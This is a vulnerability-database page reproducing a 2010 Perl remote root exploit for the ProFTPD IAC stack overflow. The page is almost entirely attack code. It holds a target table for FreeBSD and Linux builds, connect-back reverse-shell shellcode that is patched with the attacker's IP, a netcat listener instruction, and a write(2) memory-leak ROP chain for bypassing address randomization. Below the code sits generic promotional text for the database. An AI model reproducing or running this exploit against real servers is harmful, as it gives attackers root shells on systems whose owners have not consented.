Lucene search
K

ProFTPD IAC Remote Root Exploit

🗓️ 08 Nov 2010 00:00:00Reported by KingcopeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

ProFTPD IAC Remote Root Exploit targeting multiple FreeBSD and Linux servers with vulnerabilities.

Code
`# Exploit Title: ProFTPD IAC Remote Root Exploit  
# Date: 7 November 2010  
# Author: Kingcope  
  
use IO::Socket;  
  
$numtargets = 13;  
  
@targets =  
(  
# Plain Stack Smashing  
  
#Confirmed to work  
["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC  
"FreeBSD", # OPERATING SYSTEM  
0, # EXPLOIT STYLE  
0xbfbfe000, # OFFSET START  
0xbfbfff00, # OFFSET END  
1029], # ALIGN  
  
#Confirmed to work  
["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)",  
"FreeBSD",  
0,  
0xbfbfe000,  
0xbfbfff00,  
1021],  
  
# Return into Libc  
  
#Confirmed to work  
["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)",  
"Linux",  
1, # EXPLOIT STYLE  
0x0804CCD4, # write(2) offset  
8189, # ALIGN  
0], # PADDING  
  
# Confirmed to work  
["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)",  
"Linux",  
1,  
0x0804D23C,  
4101,  
0],  
  
#Confirmed to work  
["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)",  
"Linux",  
1,   
0x0804C9A4,  
8189,  
0],   
#Confirmed to work  
["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)",  
"Linux",  
1,   
0x080532D8,  
4101,  
12],  
  
["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)",  
"Linux",  
1,  
0x0804C9C4,  
8189,  
0],  
  
["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)",  
"Linux",  
1,  
0x0804CAA8,  
8189,  
0],  
  
["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)",  
"Linux",  
1,  
0x0804CBBC,  
8189,  
0],  
  
["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)",  
"Linux",  
1,  
0x0804CCBC,  
8189,  
0],  
  
#Confirmed to work  
["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)",  
"Linux",  
1,  
0x0804CCE0,  
8189,  
0],   
  
["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)",  
"Linux",  
1,  
0x0804CA2C,  
8189,  
0],  
  
#Confirmed to work  
["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)",  
"Linux",  
1,  
0x0804C290,  
8189,  
0],  
  
# feel free to add more targets.  
);  
  
#freebsd reverse shell port 45295  
#setup a netcat on this port ^^  
$bsdcbsc =  
# setreuid  
"\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80".  
# connect back :>  
"\x31\xc0\x31\xdb\x53\xb3\x06\x53".  
"\xb3\x01\x53\xb3\x02\x53\x54\xb0".  
"\x61\xcd\x80\x31\xd2\x52\x52\x68".  
"\x41\x41\x41\x41\x66\x68\xb0\xef".  
"\xb7\x02\x66\x53\x89\xe1\xb2\x10".  
"\x52\x51\x50\x52\x89\xc2\x31\xc0".  
"\xb0\x62\xcd\x80\x31\xdb\x39\xc3".  
"\x74\x06\x31\xc0\xb0\x01\xcd\x80".  
"\x31\xc0\x50\x52\x50\xb0\x5a\xcd".  
"\x80\x31\xc0\x31\xdb\x43\x53\x52".  
"\x50\xb0\x5a\xcd\x80\x31\xc0\x43".  
"\x53\x52\x50\xb0\x5a\xcd\x80\x31".  
"\xc0\x50\x68\x2f\x2f\x73\x68\x68".  
"\x2f\x62\x69\x6e\x89\xe3\x50\x54".  
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0".  
"\xb0\x01\xcd\x80";  
  
#linux reverse shell port 45295 by bighawk  
#setup a netcat on this port ^^  
$lnxcbsc =  
# setreuid  
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90".  
# connect back :>  
"\x6a\x66".  
"\x58".  
"\x6a\x01".  
"\x5b".   
"\x31\xc9".  
"\x51".  
"\x6a\x01".  
"\x6a\x02".  
"\x89\xe1".  
"\xcd\x80".  
"\x68\x7f\x7f\x7f\x7f". # IP  
"\x66\x68\xb0\xef". # PORT  
"\x66\x6a\x02".  
"\x89\xe1".  
"\x6a\x10".   
"\x51".   
"\x50".   
"\x89\xe1".  
"\x89\xc6".   
"\x6a\x03".   
"\x5b".   
"\x6a\x66".  
"\x58".   
"\xcd\x80".  
"\x87\xf3".   
"\x6a\x02".   
"\x59".   
"\xb0\x3f".  
"\xcd\x80".   
"\x49".   
"\x79\xf9".  
"\xb0\x0b".   
"\x31\xd2".   
"\x52".   
"\x68\x2f\x2f\x73\x68".  
"\x68\x2f\x62\x69\x6e".  
"\x89\xe3".  
"\x52".   
"\x53".   
"\x89\xe1".  
"\xcd\x80";  
  
sub exploit1 {  
for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) {  
printf("[$target] CURRENT OFFSET = %08x :pP\n", $counter);  
$ret = pack("V", $counter);  
$align = $targets[$ttype][5];  
  
my $sock = IO::Socket::INET->new(PeerAddr => $target,  
PeerPort => 21,  
Proto => 'tcp');  
  
$stack = "KCOPERULEZKCOPERULEZKC" . $ret . "\x90" x 500 . $shellcode . "A" x 10;  
  
$v = <$sock>;  
  
print $sock "\x00" x $align . "\xff" . $stack . "\n";  
  
close($sock);   
}   
}  
  
# Linux technique to retrieve a rootshell (C) kingcope 2010  
#  
# uses write(2) to fetch process memory out of the remote box (you can find the offset using IDA)  
# only the write(2) plt entry offset is needed for the exploit to work (and of course the  
# align value)  
# once the correct write value is given to the exploit it fetches the memory space of proftpd.  
# with this information the exploit can find function entries and byte values  
# relative to the write(2) address.  
# once the memory is read out the exploit does the following to circumvent linux adress space  
# randomization:  
#  
# 1.) calculate mmap64() plt entry  
# 2.) seek for assembly instructions in the proftpd memory space relative to write(2)  
# such as pop pop ret instructions  
# 3.) call mmap64() to map at address 0x10000000 with protection read,write,execute  
# 4.) calculate offset for memcpy() which is later used to construct the shellcode copy routine  
# 4.) copy known assembly instructions (which have been found before using the memory read)  
# to address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100  
# and make use of the memcpy found before  
# 5.) actually jump to the shellcode finder  
# 6.) once the shellcode has been copied to 0x10000100 jump to it  
# 7.) shellcode gets executed and we have our desired root shell.  
  
sub exploit2 {  
printf("[$target] %s :pP\n", $targets[$ttype][0]);  
$align = $targets[$ttype][4];  
$write_offset = $targets[$ttype][3];  
$padding = $targets[$ttype][5];  
  
$|=1;  
print "align = $align\n";  
print "Seeking for write(2)..\n";  
  
#known good write(2) values  
#0x0804C290  
#0x0804A85C  
#0x0804A234  
#0x08052830  
#080532D8 proftpd-basic_1.3.3a-4_i386  
#08052938 proftpd-basic_1.3.2e-4_i386 (ubunutu)  
#0804CCD4 psa-proftpd_1.3.2e-debian5.0.build95100504.17_i386 !!  
  
printf "Using write offset %08x.\n", $write_offset;  
$k = $write_offset;  
$sock = IO::Socket::INET->new(PeerAddr => $target,  
PeerPort => 21,  
Proto => 'tcp');  
  
$sock->sockopt(SO_LINGER, pack("ii", 1, 0));  
#$x = <stdin>;  
$stack = "KCOPERULEZKCOPERULEZKC". "C" x $padding .  
pack("V", $k). # write  
"\xcc\xcc\xcc\xcc".  
"\x01\x00\x00\x00". # fd for write  
pack("V", $k). # buffer for write  
"\xff\xff\x00\x00"; # length for write  
  
$v = <$sock>;  
  
print $sock "\x00" x $align . "\xff" . $stack . "\n";  
  
vec ($rfd, fileno($sock), 1) = 1;  
  
$timeout = 2;  
if (select ($rfd, undef, undef, $timeout) >= 0  
&& vec($rfd, fileno($sock), 1))  
{  
if (read($sock, $buff, 0xffff) == 0xffff) {  
printf "\nSUCCESS. write(2) is at %08x\n", $k;   
close($sock);  
goto lbl1;  
}  
}  
  
close($sock);  
printf "wrong write(2) offset.\n";  
exit;  
  
lbl1:  
# Once we're here chances are good that we get the root shell  
  
print "Reading memory from server...\n";  
my $sock = IO::Socket::INET->new(PeerAddr => $target,  
PeerPort => 21,  
Proto => 'tcp');   
  
$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding .  
pack("V", $k). # write  
"\xcc\xcc\xcc\xcc".  
"\x01\x00\x00\x00". # fd for write  
pack("V", $k). # buffer for write  
"\xff\xff\x0f\x00"; # length for write  
  
$v = <$sock>;  
  
print $sock "\x00" x $align . "\xff" . $stack . "\n";  
  
read($sock, $buff, 0xfffff);  
  
if (($v = index $buff, "\x5E\x5F\x5D") >= 0) {  
$pop3ret = $k + $v;  
printf "pop pop pop ret located at %08x\n", $pop3ret;  
} else {  
print "Could not find pop pop pop ret\n";  
exit;  
}  
  
if (($v = index $buff, "\x83\xC4\x20\x5B\x5E\x5D\xC3") >= 0) {  
$largepopret = $k + $v;  
printf "large pop ret located at %08x\n", $largepopret;  
} else {  
print "Could not find pop pop pop ret\n";  
exit;  
}  
  
if (($v = index $buff, "\xC7\x44\x24\x08\x03\x00\x00\x00\xC7\x04\x24\x00\x00\x00\x00\x89\x44\x24\x04") >= 0) {  
$addr1 = $k+$v+23;  
  
$mmap64 = unpack("I", substr($buff, $v+20, 4));  
$mmap64 = $addr1 - (0xffffffff-$mmap64);  
printf "mmap64 is located at %08x\n", $mmap64;  
} else {  
if (($v = index $buff, "\x89\x44\x24\x10\xA1\xBC\xA5\x0F\x08\x89\x44\x24\x04\xe8") >= 0) {  
$addr1 = $k+$v+17;  
  
$mmap64 = unpack("I", substr($buff, $v+14, 4));  
$mmap64 = $addr1 - (0xffffffff-$mmap64);  
printf "mmap64 is located at %08x\n", $mmap64;  
} else {  
print "Could not find mmap64()\n";  
exit;  
}  
}  
  
  
  
if (($v = index $buff, "\x8D\x45\xF4\x89\x04\x24\x89\x54\x24\x08\x8B\x55\x08\x89\x54\x24\x04\xE8") >= 0) {  
$addr1 = $k+$v+21;  
$memcpy = unpack("I", substr($buff, $v+18, 4));  
$memcpy = $addr1 - (0xffffffff-$memcpy);  
printf "memcpy is located at %08x\n", $memcpy;  
} else {   
  
if (($v = index $buff, "\x8B\x56\x10\x89\x44\x24\x08\x89\x54\x24\x04\x8B\x45\xE4\x89\x04\x24\xe8") >= 0) {  
$addr1 = $k+$v+21;  
  
$memcpy = unpack("I", substr($buff, $v+18, 4));  
$memcpy = $addr1 - (0xffffffff-$memcpy);  
printf "memcpy is located at %08x\n", $memcpy;  
} else {  
if (($v = index $buff, "\x89\x44\x24\x04\xA1\xBC\x9F\x0E\x08\x89\x04\x24") >= 0) {  
$addr1 = $k+$v+16;  
  
$memcpy = unpack("I", substr($buff, $v+13, 4));  
$memcpy = $addr1 - (0xffffffff-$memcpy);  
printf "memcpy is located at %08x\n", $memcpy;  
} else {  
if (($v = index $buff, "\x89\x7C\x24\x04\x89\x1C\x24\x89\x44\x24\x08") >= 0) {  
$addr1 = $k+$v+15;  
  
$memcpy = unpack("I", substr($buff, $v+12, 4));  
$memcpy = $addr1 - (0xffffffff-$memcpy);  
printf "memcpy is located at %08x\n", $memcpy;  
  
} else {  
if (($v = index $buff, "\x8B\x55\x10\x89\x74\x24\x04\x89\x04\x24\x89\x54\x24\x08") >= 0) {  
$addr1 = $k+$v+18;  
$memcpy = unpack("I", substr($buff, $v+15, 4));  
$memcpy = $addr1 - (0xffffffff-$memcpy);  
printf "memcpy is located at %08x\n", $memcpy;  
} else {  
  
print "Could not find memcpy()\n";  
exit;   
}  
}  
}  
}   
}  
  
if (($v = index $buff, "\xfc\x8b") >= 0) {  
$byte1 = $k+$v;  
printf ("byte1: %08x\n", $byte1);   
} else {  
print "Could not find a special byte\n";  
exit;   
}  
  
if (($v = index $buff, "\xf4") >= 0) {  
$byte2 = $k+$v;  
printf ("byte2: %08x\n", $byte2);  
} else {  
print "Could not find a special byte\n";  
exit;   
}  
  
if (($v = index $buff, "\xbf") >= 0) {  
$byte3 = $k+$v;  
printf ("byte3: %08x\n", $byte3);   
} else {  
print "Could not find a special byte\n";  
exit;   
}  
  
if (($v = index $buff, "\x00\x01\x00") >= 0) {  
$byte4 = $k+$v;  
printf ("byte4: %08x\n", $byte4);   
} else {  
print "Could not find a special byte\n";  
exit;   
}  
  
if (($v = index $buff, "\x10") >= 0) {  
$byte5 = $k+$v;  
printf ("byte5: %08x\n", $byte5);   
} else {  
print "Could not find a special byte\n";  
exit;   
}  
  
if (($v = index $buff, "\xB9\x00\x02\x00\x00") >= 0) {  
$byte6 = $k+$v;  
printf ("byte6: %08x\n", $byte6);   
} else {  
print "Could not find a special byte\n";  
exit;   
}  
  
  
if (($v = index $buff, "\xf3") >= 0) {  
$byte7 = $k+$v;  
printf ("byte7: %08x\n", $byte7);   
} else {  
print "Could not find a special byte\n";  
exit;   
}  
  
if (($v = index $buff, "\xA4") >= 0) {  
$byte8 = $k+$v;  
printf ("byte8: %08x\n", $byte8);  
} else {  
print "Could not find a special byte\n";  
exit;   
}  
  
if (($v = index $buff, "\xeb\xff") >= 0) {  
$byte9 = $k+$v;  
printf ("byte9: %08x\n", $byte9);  
} else {  
print "Could not find a special byte\n";  
exit;   
}  
  
# shellcode copy routine:  
#0100740B FC CLD  
#0100740C 8BF4 MOV ESI,ESP  
#0100740E BF 00010010 MOV EDI,10000100  
#01007413 B9 00020000 MOV ECX,200  
#01007418 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>  
# EB FF JMP +0xFF   
# FC 8B  
# F4 BF  
# 00 01 00  
# 10  
# B9 00 02 00 00  
# F3:A4  
# EB FF  
  
# El1Te X-Ploit TechNiqUe (C)  
  
print "Building exploit buffer\n";  
  
$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding .  
pack("V", $mmap64). # mmap64()  
pack("V", $largepopret). # add esp, 20h; pop; pop  
"\x00\x00\x00\x10". # mmap start  
"\x00\x10\x00\x00". # mmap size  
"\x07\x00\x00\x00". # mmap prot  
"\x32\x00\x00\x00". # mmap flags  
"\xff\xff\xff\xff". # mmap fd  
"\x00\x00\x00\x00". # mmap offset  
"\x00\x00\x00\x00". # mmap offset   
"\x00\x00\x00\x00".  
"\x00\x00\x00\x00".  
"\x00\x00\x00\x00".  
"\x00\x00\x00\x00".  
pack("V", $memcpy). # memcpy()  
pack("V", $pop3ret). # pop; pop; pop; retn  
"\x00\x00\x00\x10". # destination  
pack("V", $byte1). # origin  
"\x02\x00\x00\x00". # number of bytes to copy  
  
pack("V", $memcpy). # memcpy()  
pack("V", $pop3ret). # pop; pop; pop; retn  
"\x02\x00\x00\x10". # destination  
pack("V", $byte2). # origin  
"\x01\x00\x00\x00". # number of bytes to copy  
  
pack("V", $memcpy). # memcpy()  
pack("V", $pop3ret). # pop; pop; pop; retn  
"\x03\x00\x00\x10". # destination  
pack("V", $byte3). # origin  
"\x01\x00\x00\x00". # number of bytes to copy  
  
pack("V", $memcpy). # memcpy()  
pack("V", $pop3ret). # pop; pop; pop; retn  
"\x04\x00\x00\x10". # destination  
pack("V", $byte4). # origin  
"\x03\x00\x00\x00". # number of bytes to copy  
  
pack("V", $memcpy). # memcpy()  
pack("V", $pop3ret). # pop; pop; pop; retn  
"\x07\x00\x00\x10". # destination  
pack("V", $byte5). # origin  
"\x01\x00\x00\x00". # number of bytes to copy  
  
pack("V", $memcpy). # memcpy()  
pack("V", $pop3ret). # pop; pop; pop; retn  
"\x08\x00\x00\x10". # destination  
pack("V", $byte6). # origin  
"\x05\x00\x00\x00". # number of bytes to copy  
  
pack("V", $memcpy). # memcpy()  
pack("V", $pop3ret). # pop; pop; pop; retn  
"\x0d\x00\x00\x10". # destination  
pack("V", $byte7). # origin  
"\x01\x00\x00\x00". # number of bytes to copy  
  
pack("V", $memcpy). # memcpy()  
pack("V", $pop3ret). # pop; pop; pop; retn  
"\x0e\x00\x00\x10". # destination  
pack("V", $byte8). # origin  
"\x01\x00\x00\x00". # number of bytes to copy  
  
pack("V", $memcpy). # memcpy()  
pack("V", $pop3ret). # pop; pop; pop; retn  
"\x0f\x00\x00\x10". # destination  
pack("V", $byte9). # origin  
"\x02\x00\x00\x00". # number of bytes to copy  
  
"\x00\x00\x00\x10". # JUMP TO 0x10000000 rwxp address   
  
"\x90" x 100 . $shellcode . "\x90" x 10;   
  
print "Sending exploit buffer!\n";  
  
my $sock = IO::Socket::INET->new(PeerAddr => $target,  
PeerPort => 21,  
Proto => 'tcp');   
$v = <$sock>;  
  
print $sock "\x00" x $align . "\xff" . $stack . "\n";  
  
print "Check your netcat?\n";  
  
while(<$sock>) {  
print;   
}   
}  
  
sub usage() {  
print "written by kingcope\n";  
print "usage:\n".  
"proremote.pl <target ip/host> <your ip> <target type>\n\n";  
for ($i=0; $i<$numtargets; $i++) {  
print "\t[".$i."]\t". $targets[$i][0]. "\r\n";  
}  
  
exit;  
}  
  
if ($#ARGV ne 2) { usage; }  
  
$target = $ARGV[0];  
$cbip = $ARGV[1];  
$ttype = $ARGV[2];  
  
$platform = $targets[$ttype][1];  
$style = $targets[$ttype][2];  
  
($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));  
  
if ($platform eq "FreeBSD") {  
$shellcode = $bsdcbsc;  
substr($shellcode, 37, 4, $a1 . $a2 . $a3 . $a4);  
} else {  
if ($platform eq "Linux") {  
$shellcode = $lnxcbsc;  
substr($shellcode, 31, 4, $a1 . $a2 . $a3 . $a4);  
} else {  
print "typo ?\n";  
exit;  
}}  
  
if ($style eq 0) {  
exploit1;  
} else {  
exploit2;   
}  
  
print "done.\n";  
exit;  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation